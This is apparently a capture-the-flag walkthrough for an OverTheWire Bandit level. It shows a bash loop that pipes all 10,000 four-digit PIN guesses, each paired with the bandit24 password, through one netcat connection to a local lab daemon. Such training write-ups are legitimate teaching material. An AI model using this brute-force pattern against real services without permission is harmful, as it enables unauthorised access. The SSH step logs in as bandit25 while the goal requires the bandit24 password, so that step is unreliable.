Goal
A daemon on port 30002 will give you the password for bandit25 if you provide:
- the password for bandit24
- a secret numeric 4-digit pincode
There’s no shortcut: you brute-force 0000 to 9999.
Hints
- You do not need a new connection each try.
- Generate PIN attempts with a loop and format them as 4 digits.
- Pipe into
nc localhost 30002.
Solution (click to reveal)
- SSH in:
ssh bandit25@bandit.labs.overthewire.org -p 2220
- Run a brute force loop (replace
<PASS>with bandit24 password):
PASS="<PASS>"
for pin in $(seq -w 0000 9999); do
echo "$PASS $pin"
done | nc localhost 30002
Look for the server response that includes the next password.
Notes
- This is “10000 lines into one connection”. That’s the trick.
- If output is noisy, pipe to
grep -vfor known echo patterns.